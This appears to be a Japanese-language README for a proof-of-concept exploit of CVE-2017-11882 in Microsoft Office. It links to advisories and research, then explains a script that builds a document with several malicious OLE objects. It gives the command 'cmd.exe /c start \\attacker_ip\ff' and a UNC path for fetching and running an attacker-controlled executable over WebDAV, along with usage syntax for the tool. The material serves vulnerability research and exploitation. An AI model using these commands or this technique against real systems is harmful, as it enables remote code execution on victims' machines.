CVE-2017-11882

CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882

MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882

研究: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about

パッチ分析: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html

デモ PoC エクスプロイト: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410

webdav_exec CVE-2017-11882

CVE-2017-11882 のシンプルな PoC です。 このエクスプロイトは WebClient サービスを起動させ、攻撃者が制御する WebDav サーバーからリモートファイルを実行させます。 この手法が役立つ理由は、実行されるコマンド長の制限にあります。 しかし、WebDav を利用すれば、脆弱なマシン上で攻撃者が制御する任意の実行ファイルを起動することが可能です。 このスクリプトは、複数の OLE オブジェクトを含む単純なドキュメントを作成します。 これらのオブジェクトは CVE-2017-11882 を悪用し、その結果コマンドが順次実行されます。

WebClient サービスの起動をトリガーする最初のコマンドは、次のようになります:

cmd.exe /c start \\attacker_ip\ff

攻撃者が制御するバイナリのパスは、UNC ネットワークパスである必要があります:

\\attacker_ip\ff\1.exe

使い方

webdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name

CVE-2017-11882 のサンプルエクスプロイト (calc.exe をペイロードとして起動)

example フォルダーには、CVE-2017-11882 の脆弱性を悪用してシステム上で電卓を実行する .rtf ファイルが含まれています。